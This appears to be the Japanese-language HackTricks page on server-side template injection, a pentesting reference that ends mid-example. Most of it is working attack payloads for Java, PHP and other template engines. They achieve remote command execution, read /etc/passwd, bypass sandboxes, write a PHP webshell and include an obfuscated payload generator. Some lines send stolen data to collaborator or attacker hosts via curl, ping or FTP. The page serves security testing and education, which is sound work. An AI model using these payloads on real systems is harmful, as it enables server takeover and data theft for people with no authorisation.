SSTI (Server Side Template Injection)

Support HackTricks

RootedCONスペイン で最も重要なサイバーセキュリティイベントであり、ヨーロッパ で最も重要なイベントの一つです。技術知識の促進を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。

What is SSTI (Server-Side Template Injection)

サーバーサイドテンプレートインジェクションは、攻撃者がサーバー上で実行されるテンプレートに悪意のあるコードを注入できるときに発生する脆弱性です。この脆弱性は、Jinjaを含むさまざまな技術で見つけることができます。

Jinjaは、ウェブアプリケーションで使用される人気のテンプレートエンジンです。Jinjaを使用した脆弱なコードスニペットを示す例を考えてみましょう:

output = template.render(name=request.args.get('name'))

この脆弱なコードでは、ユーザーのリクエストからの name パラメータが render 関数を使用してテンプレートに直接渡されます。これにより、攻撃者が name パラメータに悪意のあるコードを注入する可能性があり、サーバーサイドテンプレートインジェクションにつながる可能性があります。

例えば、攻撃者は次のようなペイロードを含むリクエストを作成することができます:

http://vulnerable-website.com/?name={{bad-stuff-here}}

The payload {{bad-stuff-here}}name パラメータに注入されます。このペイロードには、攻撃者が不正なコードを実行したり、テンプレートエンジンを操作したりすることを可能にする Jinja テンプレートディレクティブが含まれる可能性があります。これにより、サーバーの制御を得ることができます。

サーバーサイドテンプレートインジェクションの脆弱性を防ぐために、開発者はユーザー入力がテンプレートに挿入される前に適切にサニタイズおよびバリデーションされていることを確認する必要があります。入力バリデーションを実装し、コンテキストに応じたエスケープ技術を使用することで、この脆弱性のリスクを軽減できます。

Detection

サーバーサイドテンプレートインジェクション (SSTI) を検出するために、最初に テンプレートをファジングする ことが簡単なアプローチです。これは、特別な文字のシーケンス (${{<%[%'"}}%\) をテンプレートに注入し、通常のデータとこの特別なペイロードに対するサーバーの応答の違いを分析することを含みます。脆弱性の指標には以下が含まれます:

  • 脆弱性を明らかにするエラーが発生し、潜在的にテンプレートエンジンが明らかになる。

  • 反映にペイロードが存在しない、またはその一部が欠けている場合、サーバーがそれを通常のデータとは異なる方法で処理していることを示唆します。

  • プレーンテキストコンテキスト: サーバーがテンプレート式を評価するかどうかを確認することで XSS と区別します (例: {{7*7}}, ${7*7})。

  • コードコンテキスト: 入力パラメータを変更することで脆弱性を確認します。例えば、http://vulnerable-website.com/?greeting=data.usernamegreeting を変更して、サーバーの出力が動的か固定かを確認します。例えば、greeting=data.username}}hello がユーザー名を返すかどうかを確認します。

Identification Phase

テンプレートエンジンを特定するには、エラーメッセージを分析するか、さまざまな言語固有のペイロードを手動でテストします。エラーを引き起こす一般的なペイロードには ${7/0}{{7/0}}、および <%= 7/0 %> が含まれます。数学的操作に対するサーバーの応答を観察することで、特定のテンプレートエンジンを特定するのに役立ちます。

Tools

効率的な SSTI + CSTI スキャナーであり、新しいポリグロットを利用しています。

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

最も効率的なテンプレートインジェクションポリグロットと、44の最も重要なテンプレートエンジンの期待されるレスポンスを含むインタラクティブなテーブルです。

Exploits

Generic

このwordlistには、以下に示すいくつかのエンジンの環境で定義された変数が含まれています:

Java

Java - 基本的なインジェクション

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - システムの環境変数を取得する

${T(java.lang.System).getenv()}

Java - /etc/passwdを取得

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

あなたはhttps://try.freemarker.apache.orgでペイロードを試すことができます。

  • {{7*7}} = {{7*7}}

  • ${7*7} = 49

  • #{7*7} = 49 -- (legacy)

  • ${7*'7'} Nothing

  • ${foobar}

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - サンドボックスバイパス

⚠️ Freemarkerのバージョンが2.3.30未満の場合のみ動作します

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

詳細情報

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

More information

Thymeleaf

Thymeleafにおいて、SSTI脆弱性の一般的なテストは、式${7*7}であり、これはこのテンプレートエンジンにも適用されます。リモートコード実行の可能性がある場合、次のような式が使用できます:

  • SpringEL:

${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:

${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleafでは、これらの式を特定の属性内に配置する必要があります。ただし、_expression inlining_は他のテンプレートの場所でもサポートされており、[[...]][(...)]のような構文が使用できます。したがって、シンプルなSSTIテストペイロードは[[${7*7}]]のようになります。

しかし、このペイロードが機能する可能性は一般的に低いです。Thymeleafのデフォルト設定では動的テンプレート生成がサポートされておらず、テンプレートは事前に定義されている必要があります。開発者は、文字列からテンプレートをオンザフライで作成するために独自のTemplateResolverを実装する必要があり、これは一般的ではありません。

Thymeleafはまた、ダブルアンダースコア(__...__)内の式を前処理する_式前処理_を提供しています。この機能は、Thymeleafのドキュメントに示されているように、式の構築に利用できます:

#{selection.__${sel.code}__}

Thymeleafにおける脆弱性の例

以下のコードスニペットを考えてみてください。これは悪用される可能性があります:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

これは、テンプレートエンジンがこれらの入力を不適切に処理した場合、次のようなURLにアクセスするリモートコード実行につながる可能性があることを示しています:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

詳細情報

EL - Expression Language

Springフレームワーク (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

フィルターのバイパス

${...}が機能しない場合は、#{...}*{...}@{...}、または~{...}を試してください。

  • /etc/passwdを読み取る

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • ペイロード生成のためのカスタムスクリプト

#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

詳細情報

Spring View Manipulation (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Pebbleの古いバージョン ( < version 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

新しいバージョンのPebble :

{% set cmd = 'id' %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

JinjavaはHubspotによって開発されたオープンソースプロジェクトで、https://github.com/HubSpot/jinjava/で入手可能です。

Jinjava - コマンド実行

https://github.com/HubSpot/jinjava/pull/230によって修正されました。

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

詳細情報

Hubspot - HuBL (Java)

  • {% %} ステートメント区切り

  • {{ }} 式区切り

  • {# #} コメント区切り

  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206

  • {{'a'.toUpperCase()}} - "A"

  • {{'a'.concat('b')}} - "ab"

  • {{'a'.getClass()}} - java.lang.String

  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest

  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

"com.hubspot.content.hubl.context.TemplateContextRequest"を検索し、JinjavaプロジェクトをGithubで発見

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

詳細情報

表現言語 - EL (Java)

  • ${"aaaa"} - "aaaa"

  • ${99999+1} - 100000.

  • #{7*7} - 49

  • ${{7*7}} - 49

  • ${{request}}, ${{session}}, {{faceContext}}

表現言語 (EL) は、JavaEEにおけるプレゼンテーション層(ウェブページなど)とアプリケーションロジック(マネージドビーンなど)との相互作用を促進する基本的な機能です。この通信を効率化するために、複数のJavaEE技術で広く使用されています。ELを利用する主要なJavaEE技術には以下が含まれます:

  • JavaServer Faces (JSF): JSFページ内のコンポーネントを対応するバックエンドデータおよびアクションにバインドするためにELを使用します。

  • JavaServer Pages (JSP): JSP内でデータにアクセスし操作するためにELが使用され、ページ要素をアプリケーションデータに接続しやすくします。

  • Java EEのためのコンテキストと依存性注入 (CDI): ELはCDIと統合され、ウェブ層とマネージドビーン間のシームレスな相互作用を可能にし、より一貫したアプリケーション構造を確保します。

ELインタープリタの悪用について詳しくは、以下のページを確認してください:

EL - Expression Language

Groovy (Java)

以下のセキュリティマネージャーバイパスは、この書き込みから取得されました。

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

​​RootedCONスペイン で最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパ で最も重要なイベントの一つです。技術的知識の促進を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

詳細情報

Twig (PHP)

  • {{7*7}} = 49

  • ${7*7} = ${7*7}

  • {{7*'7'}} = 49

  • {{1/0}} = Error

  • {{foobar}} Nothing

#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - テンプレート形式

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

詳細情報

Plates (PHP)

PlatesはPHPにネイティブなテンプレートエンジンで、Twigからインスピレーションを得ています。しかし、Twigが新しい構文を導入するのに対し、Platesはテンプレート内でネイティブPHPコードを活用しており、PHP開発者にとって直感的です。

Controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

ページテンプレート:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

レイアウトテンプレート:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

詳細情報

PHPlib と HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB は PHPlib と同じですが、Pear に移植されています。

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td